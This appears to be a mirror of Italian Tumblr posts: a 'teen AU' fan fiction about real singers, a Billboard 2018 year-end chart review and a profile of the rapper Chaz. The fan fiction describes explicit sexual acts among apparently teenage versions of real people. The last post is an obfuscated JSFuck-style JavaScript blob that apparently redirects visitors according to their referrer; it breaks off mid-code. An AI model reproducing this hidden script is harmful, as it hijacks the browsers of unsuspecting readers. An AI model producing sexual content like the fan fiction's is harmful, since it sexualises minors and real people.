Tumgik
#che comunque ha fatto bassi ascolti
fujikoi · 4 months
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ci sarebbe interesse per una comunità dedicata alla tv italiana? tv in generale
qualcuno l´ha già creata?
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Metanari teen!au - parte 3
L’avete chiesta. La stavate aspettando (anche meno Milena), tutti voi
EQQQUINDI
Ciao mi chiamo Milena e passo più tempo sui mezzi di trasporto che con i piedi per terra, per cui senza ulteriore indugio questa è la parte terza della Metanari teen au (+ a bit of Metamoro)
Abbiamo lasciato il povero Macco nel bagno del sushi a piagnere but do you ever wondered cosa è successo prima di tutto ciò per Ermal
Anche se la risposta fosse no mo ve lo dico uguale
Ermal, doveva ammetterlo, era stato molto stupito del fatto che Marco avesse preso la palla al balzo nell’esatto secondo successivo alla sua provocazione/confessione
Ma ne era stato davvero contento perché wow davvero aveva un appuntamento con Macco cioè wow
Non ha alcun problema ad ammettersi e ad ammettergli che gli piace in fondo. È stato proprio lui a spingerlo ad uscire perché lo voleva e sapeva che pure per Marco era lo stesso
Si, aveva una cotta per lui, e quindi? Macco era dolce, intelligente, carino, coccoloso. Tutto quello che voleva.
E anche di più. Tipo imbranato. Adorabilmente imbranato, ma still.
Imbranato al punto che nonostante tutte le provocazioni che gli ha lanciato negli ultimi mesi ci ha dovuto sbattere la testa prima di riuscire a chiedergli un appuntamento
Sì, ok, ha cinque anni e voleva che fosse lui a dirlo perché...si
O forse perché il suo amico Fabrizio, rinomato figo romano incontrato l’anno prima a un concerto in cui aveva condiviso con lui una serata pazzesca (e anche la saliva che sapeva di sigarette e birra), gli aveva detto, nel suo stentato italiano senza punteggiatura tipico dei suoi messaggi telefonici, che farlo ingelosire sarebbe stata una buona tattica per spingerlo a chiedergli di uscire.
Solo che Marco invece di fare qualcosa si era solo infilato di più nella sua pacata timidezza e solo farsi fare un pompino da Francisa aveva portato al risultato che lui voleva
Non che non gli fosse piaciuto eh, sia ben chiaro, e non che non lo volesse.
Francis era bello. Bello con i suoi capelli castani, soffici e ricci, in cui aveva affondato le dita mentre reclinava il capo all’indietro. Bello con le lentiggini che gli ricoprivano il viso e con gli occhi chiari e luminosi. Bello con le sue labbra appena screpolate premute sulle sue, salate come il mare in cui avevano nuotato. Le sue labbra poi posate sul suo collo, spalla, petto e infine strette attorno al suo cazzo.
Ed era bravo e lui era venuto, si, con le dita dei piedi arricciate e una mano premuta sulla bocca per non far sentire a tutta Bari vecchia ciò che stava succedendo in quel vicolo appena nascosto dalle ombre del tramonto
Ma non era Marco
E forse si, il primo pompino che gli hanno mai fatto è stato epico, ma se anche fosse stato un disastro, avrebbe preferito che fosse Marco, quello
Quando gli aveva chiesto di uscire quindi era stato davvero davvero... felice.
L’aveva subito scritto a Fabrizio, che l’aveva chiamato urlando “MA CHE DAVERO?” e ne avevano parlato, poi, di quell’appuntamento per ore e per i giorni successivi, in chiamata e via messaggio.
E più i giorni passavano e più Ermal però iniziava vagamente ad agitarsi
Gli altri erano facili da gestire. Gli altri poteva baciarli e non avere paura di un rifiuto perché, anche se sovvenuto, non sarebbe stato poi così tanto grave. Uno smacco al suo orgoglio, ma niente di irrimediabile, niente di indimenticabile nel giro di poco. Poteva mettere in chiaro che non c’era niente, se non attrazione fisica, la maggior parte delle volte. Poteva divertirsi a infilargli le dita sotto la maglia e accarezzargli i fianchi e poteva lasciarsi toccare a sua volta. Poteva lasciare che le loro mani si infilassero nelle sue mutande e poteva fare la stessa cosa senza troppi problemi e preamboli, chiedendo un permesso che attendeva ma che quasi nessuno gli aveva rifiutato. E poi poteva andarsene, ringraziando, dopo aver applicato il motto di Fabrizio che, quella sera, l’aveva fatto venire con la schiena premuta contro la parete di un bagno sudicio, la musica che attraversava le sottili pareti e gli arrivava comunque alle orecchie, i bassi e la batteria che si mischiavano al ritmo del suo cuore che gli rimbombava nei timpani, e poi gli aveva detto, ridendo “‘Ndo vai regazzi” quando lui aveva fatto per spostarsi, baciandolo ancora, scostandogli i ricci sudati dall fronte umida “Non te l’ha insegnato nessuno che si ricambia? Un orgasmo per un orgasmo e semo tutti contenti”. Non era una costrizione: aveva fatto mezzo passo indietro, Ermal avrebbe potuto scegliere di lasciare perdere, ma aveva riso, cercando ancora le sue labbra. “Ci sta” aveva detto, slacciandogli i jeans.
Marco non era gli altri.
Voleva baciarlo, si, voleva fargli tutto quello che aveva fatto a loro e anche di più, ma c’era in quel desiderio un timore che era tutto nuovo.
Non voleva un rifiuto di Marco. Non voleva andare in fretta con lui. Voleva aspettarlo, aspettarlo anche fino a per sempre, se necessario.
Aveva chiesto quindi consiglio a Fabrizio, di nuovo, quella sera.
Era sceso in anticipo, scrutando la strada con gli occhi scuri strizzati. Aveva fatto scegliere la camicia a Rinald, che l’aveva liquidato con un “Tanto fanno tutte cagare”, indicandone però una con il dito e facendogli l’occhiolino.
Si era fatto la barba (la poca che aveva, quasi inesistente) e si era scompigliato i ricci duecento volte finché non erano stati come li voleva e poi aveva tirato fuori una sigaretta, alla menta, però. Quelle che riservava solo per Marco, perché a lui dava fastidio l’odore del fumo e l’aroma fresco della menta almeno in parte lo nascondeva.
E poi non voleva che la sua bocca sapesse di amara nicotina, in caso.
E così, appoggiato al muro del condominio, aveva tirato fuori il telefono per chiedere consiglio.
“Che faccio se dovesse andare male?” Aveva scritto e da lì aveva riversato tutte le sue paure in messaggi che spediva a velocità rapidissima, non lasciando quasi il tempo a Fabrizio di rispondergli e stargli dietro, data la sua lentezza
Alla fine avevano concordato insieme che la cosa migliore sarebbe stata non farsi troppi problemi e seguire un po’ quel che veniva
E se quel che veniva, bene, altrimenti avrebbe provato a rimediare come poteva
“Nun ci pensa troppo” aveva detto Fabrizio
E all’inizio era andato tutto ok, davvero, e Marco stava benissimo, con quella camicia, e lui diceva di essere brutto, ma come poteva esserlo con quel faccino e i suoi occhi nocciola velati di timore e felicità e le guance arrossate dall’imbarazzo e i suoi desideri nascosti comunque stampati su tutte le sue espressioni e liniamenti
E avevano passeggiato e ordinato il sushi e parlato e tutto era bello, bellissimo, stupendo, fanstastico, perfetto.
Straordinario
Ma Marco era nervoso, teso come una corda di violino, e Ermal aveva sperato che il tragedione che sbirciava da dietro l’angolo non lo svoltasse mai, ma così non era stato
E ora si ritrova con un Marco in lacrime che nemmeno lo guardava, proclamando di aver rovinato tutto come se stesse confessando di aver compiuto il peccato originale tutto da solo e con la disperazione a inondargli il tono quanto il panico le sue mani tremanti
Ermal sbatte le palpebre, una, due, tre volte, lentamente, scuotendo il capo riccioluto
“Marco” dice “Ma che cazzo stai dicendo” gli domanda, incredulo
E Marco si scansa posandosi le mani sul viso, nascondendolo alla sua vista perché come cazzo fa a guardarlo in faccia dopo quella. Non vorrà nemmeno essere più suo amico dopo aver visto che razza di coglione è
Non ermal.
Ermal che è così intelligente e bello e straordinario e che è tutto e molto di più di quello che sono tutti e nessuno sarà mai come lui, nemmeno lontanamente
Ermal che però gli prende le mani, le sue dita che premono contro i suoi palmi per scostarglieli dalla faccia e la resistenza è minima e colma di una disperata testardaggine che cede subito al modo delicato in cui lo sta toccando. Dolcemente, ma con fermezza
“Marco” gli dice, e il suo tono è di colpo più basso e gentile, come lo zucchero che dopo l’amara medicina sembra ancora più dolce “mi ascolti un secondo?” Gli chiede, retorico
Marco scuote il capo
“Per favore?”
Annuisce. Non può dirgli di no.
“Mi guardi, per favore?”
Non sa dove trova il coraggio di alzare la testa, deglutendo rumorosamente, timoroso di cosa vedrà sul suo viso
Non lo vede, cosa c’è
Non lo vede perché Ermal, non appena si ritrova a osservare il suo viso arrossato e rigato di lacrime, e i suoi occhi pieni di timore e imbarazzo ma anche speranza e resi lucidi dal pianto e le ciglia umide che li contornano e le labbra appena socchiuse a far uscire lievi singhiozzi, non ce l’ha fatta a usare il cervello
Non con Marco che credeva che non gli avrebbe più voluto bene dopo che aveva sporcato la camicia con la salsa di soia, quando lui non l’aveva mai amato tanto come in quel momento
Ha fatto quel che ha detto Fabrizio e non ci ha pensato
Non ci ha pensato e gli ha stretto le mani, chinandosi per far scontrare le loro labbra, con delicata decisione, premendo le proprie contro le sue, umide e salate per le lacrime
Marco.exe
È così scioccato che non riesce a muoversi, a reagire
Ermal lo sta baciando
Non con l’accurata passione con cui l’ha visto limonarsi le altre persone a volte, ma riservandogli un bacio casto eppure sentito, le loro labbra che rimangono le une contro le altre per un attimo brevissimo ma infinito
E Marco ha gli occhi aperti, perché non è riuscito nemmeno a fare quello, e le ciglia scure di Ermal sono ancora più belle viste così da vicino, incastrate insieme, che gettano un’ombra leggera sul suo viso
Quando si tira indietro lo fa piano piano, per non scioccarlo troppo, rimanendo così vicino a lui che i loro nasi si sfiorano ancora
“Adesso ci credi al fatto che non hai rovinato nulla?” gli dice, lasciandogli una mano solo per accarezzargli piano il viso e Marco trema mentre annuisce perché non si fida della sua voce e il suo sguardo cade inevitabilmente sulle sue labbra
Perché l’unica cosa che riesce a pensare è che lo vuole baciare ancora e ancora
E le labbra di Ermal si arricciano in un sorriso dolce che sa di malinquenza
E ride di una risata leggera, piccolissima
“Va bene, si” mormora, e inclina appena il viso per avvicinarlo di nuovo al suo e i loro nasi si incastrano perfettamente e questa volta Marco gli chiude, gli occhi, e quando le loro labbra si toccano sospira, schiudendole subito, e Ermal coglie l’invito, baciandolo per bene, con calma, esplorando la sua bocca piano, sorridendo quando lo sente ricambiare
Ed è solo quando si ritrova con i palmi delle mani che gli circondano il viso che si rende davvero conto di quanto lo volesse
Marco lo sapeva. Sapeva di volerlo, sapeva di desideralo. Lo sapeva perché l’aveva immaginato, quel bacio, centinaia di volte, in migliaia di diversi contesti e sfumature, e mai, mai nella vita avrebbe immaginato di baciarlo nel bagno di un ristorante, con la camicia sporca e il viso umido di lacrime, ma andava bene, benissimo
Ma ermal no
Aveva fantasticato di baciare Marco, si, ma più per mera curiosità, domandandosi come sarebbe stato, che avrebbe fatto.
Eppure si rendeva conto in quel momento del fatto che lo voleva, lo voleva davvero, e se baciando gli altri desiderava la cosa nel senso carnale del termine, volendo solo assaporare il gusto delle loro labbra e non sarebbe importato molto su quale viso esse fossero, in quel caso voleva baciare Marco, e lo voleva in senso stretto ma anche astratto. Lo voleva baciare perché era lui e gli importava, gli importava che le sue mani circondassero il suo viso e che le labbra che baciava fossero le sue
“Convinto?” Domanda respirando e Marco non sa dove trova La forza di rispondere “Non ancora” e ridono, tornando a baciarsi
E si baciano, si baciano senza saper sopire la cosa che hanno appena risvegliato, ed è solo la mancanza di fiato che spinge ermal a staccarsi dolcemente da lui, guardandolo
E gli occhi di Marco, quando li apre, sono bellissimi. Lucidi e luminosi, increduli Emma felici, colmi quasi di una sorta di commozione.
“Convinto?” Gli domanda Ermal, di nuovo, sorridendo, ben sapendo che guardandolo la sua convinzione di prima sarebbe vacillato
E infatti Marco arrossisce, chinando la testa, posando la fronte sulla sua spalla, nascondendosi e Ermal ride, stringendolo a se
“Torniamo a mangiare?” Chiede e sorride quando marco annuisce ma mormora “un secondo”
E va bene, aspettare ancora un momento
In quell’abbraccio, potrebbero aspettare anche all’infinito
E mo io sono al mare, quindi per ora vi lascio alla lettura!
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darthreset-blog · 6 years
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Il 2018 secondo Billboard (parte 1)
Come ogni anno, a inizio dicembre, Billboard ha pubblicato le classifiche di fine anno decretando quali canzoni, artisti e album hanno avuto più successo durante gli ultimi 12 mesi. Diamo un’occhiata alle classifiche 2018.
HOT 100 SONGS:
1) “God’s Plan” - Drake: quasi ovvia la sua vittoria: esordio al numero 1 della Billboard Hot 100, in cima alle classifiche in quattordici Paesi (tra cui l’Italia) e in top 10 in altri nove, record di streaming sia su Apple Music che su Spotify. Parte dell’EP “Scary Hours” e accolta timidamente dalla critica, sin dal giorno di uscita è diventata una delle canzoni più rilevanti dell’anno: dopo aver preso la prima posizione della Hot 100, l’ha tenuta per altre 10 settimane, rimpiazzata solo da un’altra canzone di Drake, “Nice for What” e rimanendo comunque in top 10 per 26 settimane. Anche nel Regno Unito ha dominato, rimanendo al numero 1 per nove settimane. Certificata disco di platino in Australia (5), Belgio, Canada(8), Danimarca, Italia (2), Nuova Zelanda (2), Portogallo, Spagna, Svezia, UK (2) e USA (8), e disco di diamante in Brasile e Francia. Canzone dell’anno senza dubbio. Inutile dirlo, teniamola d’occhio per i Grammy.
2) “Perfect” - Ed Sheeran: l’abbiamo sentita ovunque e di continuo da quando è uscita, il 26 settembre 2017. Ben oltre il miliardo e mezzo di visualizzazioni su YouTube, ha tuttavia impiegato tre mesi per raggiungere la prima posizione nelle classifiche britanniche e americane, tra cui la UK Christmas. Numero 1 in sedici Paesi (tra cui l’Italia), il suo successo straordinario è sotto gli occhi e nelle orecchie di tutti. La canzone ha beneficiato di alcune versioni alternative cantate da Sheeran con artisti di altissimo calibro quali Beyoncé e Andrea Bocelli. In particolar modo la prima ha fatto fare alla canzone il passo decisivo per conquistare la vetta della UK Singles Chart, che ha perso in favore di Eminem e la sua “River”, in cui compare anche Sheeran. Per quanto riguarda la classifica statunitense, la versione con Beyoncé è stata la prima a raggiungere la vetta, per poi cedere il passo all’originale e, dopo sei settimane, ad “Havana” di Camila Cabello. Disco di platino in Australia (9), Austria, Belgio (3), Danimarca (3), Italia (7), Nuova Zelanda (5), Portogallo, Svizzera (6), UK (4) e USA (7); disco di diamante in Canada, Francia e Germania.
3) “Meant To Be” - Bebe Rexha & Florida Georgia Line: proveniente dall’EP “All Your Fault: Pt. 2″ e poi inclusa nell’album “Expectations”, non ha raggiunto la cima della Billboard Hot 100 perché bloccata da “God’s Plan”, ma ci sarebbe riuscita contro virtualmente ogni altro competitor. Ha avuto successo nella Hot Country Songs, prendendosi subito la prima posizione e mantenendola per un tempo record di 50 settimane, sostituita da “Lose It” di Kane Brown. Disco di platino in Australia (5), Paesi Bassi, Nuova Zelanda (2), Norvegia, Svezia (2), UK e USA (4). Il suo successo è incomparabile a quello delle prime due canzoni di questa classifica, ma essendo rimasta al top per quasi un anno, merita sicuramente di essere considerata una delle canzoni più di successo del 2018.
4) “Havana” - Camila Cabello Featuring Young Thug: sinceramente fatico a capire come faccia a non essere sul podio, considerando la sua immensa popolarità a partire dall’autunno 2017 e che si è trascinata per buona parte del 2018. Numero 1 in dodici Paesi, top 10 in molti di più (tra cui l’Italia), ha avuto la capacità di tenere in classifica ben dopo settembre le sonorità latine che solitamente non sopravvivono al cambio di stagione. Prima posizione raggiunta nel Regno Unito il 3 novembre e mantenuta per cinque settimane fino all’arrivo di “Perfect”. Negli USA dovrà aspettare gennaio per la cima della classifica, salvo doverla cedere immediatamente a “God’s Plan”. Disco di platino in Argentina, Australia (9), Austria, Belgio (2), Canada (8), Danimarca (2), Germania (2), Italia (3), Messico (4), Paesi Bassi, Nuova Zelanda (3), Norvegia, Portogallo (2), Spagna (3), Svezia (4), Svizzera, UK (2) e USA (7). Disco di diamante in Brasile (3), Francia e Polonia.
5) “Rockstar” - Post Malone Featuring 21 Savage: vero e proprio fenomeno su Internet, molto più di quanto dicano le 400 milioni di views su YouTube, ha raggiunto la posizione numero 1 della Billboard Hot 100 e delle classifiche di molti altri Paesi. Singolo di lancio dell’album “Beerbongs & Betleys”, ha ottenuto il record di streaming in una singola settimana su Apple Music, con oltre 25 milioni di ascolti. Ha raggiunto la cima della Hot 100 alla sua quarta settimana in classifica e l’ha tenuta per otto settimane in tutto. E’ arrivata al top anche nel Regno Unito. Questo successo non le ha impedito però, inspiegabilmente, di finire nell’elenco delle peggiori canzoni del 2017 sia secondo Spin che secondo Time. Disco di platino in Australia (5), Belgio (2), Canada (9), Danimarca, Italia (3), Messico (2), Nuova Zelanda (2), Norvegia (4), Portogallo (2), Spagna, Svezia (7), UK (2) e USA (7) e disco di diamante in Brasile e Francia.
Sebbene l’hip-hop non sia il mio genere preferito, devo dire che in questa top 5 le mie canzoni preferite sono quelle di Drake e Post Malone, segno che, per i miei gusti, la direzione presa dall’”hip-hop per le masse” è quella giusta.
BILLBOARD 200 ALBUMS:
1) “reputation” - Taylor Swift: “reputation” con la minuscola, perché “my reputation’s never been worse” canta Taylor in “Delicate”, traccia 5. Apprezzato dalla critica e numero 1 in tredici Paesi, è l’album più venduto negli USA durante il 2017, nonostante la pubblicazione a novembre. Le recensioni hanno evidenziato i testi, rabbiosi e personali, l’uso abbondante dell’elettronica, la sfumatura dark che accompagna tutto l’album, i temi trattati. The Independent ha scritto che “Call It What You Want” è la miglior canzone mai fatta da Taylor Swift, The Daily Telegraph ha comparato l’album ad un blockbuster. L’album ha venduto due milioni di copie solo nella prima settimana, diventando subito il numero 1 nella Billboard 200 e superando le vendite di tutti gli altri album in classifica quella settimana messi insieme. E’ rimasto al numero 1 per le prime tre settimane e poi durante la settima. Ha esordito in vetta anche nel Regno Unito. Disco di platino in Argentina, Australia (2), Austria, Messico, Nuova Zelanda (2), UK e USA. E’ un album che mi interessa moltissimo e che ascolterò il prima possibile.
2) “Scorpion” - Drake: non poteva mancare, trascinato da sei singoli da top 10, il quinto album di Drake, di ben 25 tracce, tutte e 25 nella Hot 100 il 14 luglio 2018, record assoluto. Uscito dopo una dura campagna contro Pusha T, che aveva rivelato l’esistenza di un figlio segreto di Drake, l’album ha ricevuto elogi per alcune tracce ritenute davvero ben fatte, ma è stato generalmente criticato per l’eccessiva lunghezza e la sensazione di stanchezza conseguente, colpa anche di testi e temi ripetitivi, che rendono non necessario il numero spropositato di tracce. Allo stesso tempo, è stato notato come la presenza di 32 produttori renda il suono dell’album ottimo, anche se incoerente nel suo complesso. Le vendite parlano chiaro: disco di platino negli Stati Uniti il giorno di uscita, record globale di ascolti su Spotify in un solo giorno, oltre 130 milioni. Stesso tipo di record battuto anche su Apple Music. Debutto al primo posto nella Billboard 200 e prima posizione mantenuta per cinque settimane. Prime due settimane al top anche nella UK Albums Chart. Disco di platino in Canada (2), Danimarca, Nuova Zelanda, Svezia e USA.
3) “beerbongs & bentleys” - Post Malone: dimostrazione di cosa possono fare due bei singoli di lancio, così come “Rockstar” è stato molto apprezzato dal pubblico ma meno dalla critica. Secondo Metacritic il suo voto medio è 51/100. Elogiato per la produzione e per la voce di Malone, il punto debole dell’album sono i testi, che non giustificano la presenza di 18 tracce. Ci sono sicuramente dei buoni momenti, ma nel complesso l’album non splende. Record di ascolti su Spotify il primo giorno (prima che arrivasse “Scorpion” a prendersi tutto), ha debuttato al numero 1 della Billboard 200, e alla prima settimana ha segnato il record per il maggior numero di stream nell’arco di sette giorni. E’ rimasto in cima alla classifica per tre settimane. Il 12 maggio 2018 si è ritrovato ad avere nove canzoni nella top 20 e quattordici nella top 40, record assoluto. Debutto al numero 1 anche nel Regno Unito. Disco di platino in Australia, Brasile, Canada (4), Danimarca (2), Nuova Zelanda (3), Norvegia (3) e USA (2).
4) “The Greatest Showman” - Soundtrack: ok, questa era imprevista. In cima alle classifiche di diversi Paesi (tra cui l’Italia), ha raggiunto la prima posizione su iTunes in oltre 77 Stati. Album più venduto del 2018 nel Regno Unito. Il singolo “This Is Me” ha vinto il premio come miglior canzone originale ai Golden Globe, ed è stato nominato per la stessa categoria anche ai Critics’ Choice Movie Awards e agli Oscar. Apprezzatissimo anche dalla critica, ha ricevuto il disco di platino in Australia, Canada, Nuova Zelanda, UK (4) e USA (2).
5) “(Divide)” - Ed Sheeran: questa era una chiamata facile, e anzi, credevo si trovasse più in alto. E’ comunque sorprendente come sia ancora tra gli album più venduti dopo oltre un anno e mezzo, ulteriore dimostrazione di come Ed Sheeran abbia trovato la formula adatta. Mi chiedo se possa fare ancora meglio con il suo prossimo lavoro, e credo che la risposta sia sì, ma staremo a vedere. Nel frattempo parliamo di questo disco, numero 1 in quattordici Paesi (tra cui l’Italia) e le cui tracce sono tutte entrate nella UK Singles Chart durante la prima settimana. Ha vinto un Grammy come miglior album vocale pop nel 2018, determinando una volta per tutte il suo status di caposaldo pop e disco di riferimento per la scena pop mondiale almeno per un altro anno, ovvero quello che sta per concludersi e che lo vede ancora in ottima forma, incapace di fallire nel suo intento, ovvero piacere a quanti più possibile. Ovviamente numero 1 dal day one, ha venduto un milione di copie nel Regno Unito dopo soli 16 giorni, risultando il prodotto d’intrattenimento più venduto dell’anno, superando anche contenuti provenienti da altri media come il cinema. Arrivato ai due milioni dopo 4 mesi, ha tenuto la testa della classifica per venti settimane non consecutive. Inutile dire che è risultato essere l’album più venduto nel Regno Unito del 2017. Negli USA l’album ha debuttato in prima posizione e ci è rimasto un’altra settimana. A livello mondiale è stato l’album con più ascolti su Spotify nel giorno di uscita. Ultimo ma non ultimo, è stato l’album più venduto al mondo nel 2017. Disco di platino in Austria (2), Belgio (3), Canada (7), Danimarca (6), Ungheria (3), Italia (5), Paesi Bassi (4), Nuova Zelanda (11),  Spagna, Svezia (2), Svizzera (2), UK (10) e USA (4), e disco di diamante in Australia, Francia, Germania e Polonia. Un album così popolare merita un ascolto.
Domanda: tra questi album si trova il vincitore del Grammy 2019 per il miglior album?
Nella parte 2: top artist e top new artist.
Appuntamento alla prossima tappa della nostra odissea musicale!
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artistadvisor · 4 years
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CHAZ
Genere musicale: Rap
Città: Trapani
Nome: Carlo Caruso
Classe: 1996
Sincero, originale, versatile
INTRO
Chaz, all’anagrafe Carlo Caruso, è un giovane rapper proveniente da Trapani e nato il 25 giugno 1996.
Il suo primo approccio al rap avviene all’età di 12 anni grazie a Fabri Fibra.
Dopo i primi anni in cui si limitò soltanto ad ascoltare i suoi artisti preferiti, nel 2012 inizia a scrivere i primi testi e a buttare giù qualche rima; in seguito ad un periodo di alti e bassi dove ha alternato l’uscita di brani di successo a momenti di silenzio artistico, nel novembre 2019 pubblica il suo primo prodotto ufficiale in cui racchiude tutte le proprie emozioni.
“Inseguo un sogno fino alla fine del mondo, io sono pronto, mi perdoni e ricordo, il futuro lo affronto ma perdo lo scontro ma ovvio che mi trasformo in mostro che porta il disagio”; questo è un estratto dal brano “Nessuna risposta” che ha ottenuto circa 2300 streams dopo poco più di un anno dall’uscita.
La sincerità e l’originalità sono le sue caratteristiche principali che vengono trasportate all’interno della sua musica.
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BREVE BIO
Chaz inizia a dare forma ai suoi brani nel 2012 e dopo 2 anni di scrittura inizia la sua carriera nel 2014 pubblicando vari singoli e 2 mixtape di cui uno intitolato “Genesi Mixtape” disponibile su Youtube e l’altro dal titolo “Come Vivo Mixtape” sempre ascoltabile su Youtube.
Questo bellissimo periodo iniziale, come da lui stesso denominato, subisce delle battute d’arresto a causa di problemi personali e lavorativi che portano a due anni di silenzio musicale; tuttavia in questo periodo difficile continua a scrivere brani e a raccogliere esperienze e sensazioni che vengono tutte riversate all’interno del suo primo album ufficiale “Metamorph” uscito nel novembre 2019 e interamente curato dal produttore TryHarder .
All’interno di questo prodotto ci sono 7 brani diversi tra di loro che comprendono anche un feat con Axel nel brano “Ne Giro Una” e con Irene Conforti nel pezzo “Nessuna Risposta”. Il singolo che ha ottenuto più successo su Spotify è “Addio” con più di 3200 ascolti.
L’11 settembre 2020 pubblica un EP in collaborazione con Blunk e prodotto interamente da Skynny Gee. I brani ottengono degli ottimi numeri su Spotify in particolare “Pandemic” e “Drammi” raccolgono entrambi più di 165000 streams a quasi 5 mesi dalla pubblicazione.
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QUESTO E’ CHAZ
Chaz è sicuramente un artista versatile e originale che non prende molta ispirazione da altri rapper ma cerca di sviluppare un percorso individuale e creare una propria identità sempre più forte.
“Cerco di fare qualcosa di mio, non voglio somigliare a nessuno e credo, che con il tempo ci riuscirò.. sto già trovando la giusta via musicale, e più vado avanti più cerco appunto, di dargli solo la mia impronta!”, ha più volte dichiarato Chaz a riguardo; Fabri Fibra rimane comunque una parte importante del suo percorso dato che lo ha fatto avvicinare al rap.
Dopo il primo album ha iniziato ad approcciare alla musica in modo più serio con la voglia di esprimere tutto ciò che ha dentro di sé.
Chaz è una persona che fa musica per passione non per cercare necessariamente di arrivare in alto e svoltare; è ben consapevole che c’è un ampio numero di artisti emergenti e capaci che formano una concorrenza molto agguerrita. Egli descrive la musica con queste parole: “è più come un bisogno, una cosa che mi piace fare tantissimo”.
Il suo sogno è quello di far diventare la sua passione un lavoro, anche se, come detto in precedenza, non è il suo obiettivo principale.
Chaz ha già avuto esperienze live soprattutto in pub e piazze e vorrebbe vivamente avere altre opportunità simili.
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Link e contatti artista:
-Spotify:
- Youtube:
- Instagram:
https://www.instagram.com/carlo.chaz/
- Facebook:
La Redazione di Artist_Advisor
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riejumoto · 5 years
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,52,51,53,56,119,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15